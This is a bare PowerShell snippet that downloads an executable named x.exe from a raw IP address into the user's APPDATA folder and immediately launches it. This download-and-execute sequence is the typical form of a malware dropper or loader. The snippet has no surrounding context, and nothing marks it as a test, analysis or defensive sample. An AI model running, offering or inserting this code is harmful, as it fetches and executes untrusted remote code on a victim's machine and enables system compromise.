$url = 'http://93.123.109.39/x.exe' $output = Join-Path $env:APPDATA 'x.exe' Invoke-WebRequest -Uri $url -OutFile $output Start-Process -FilePath $output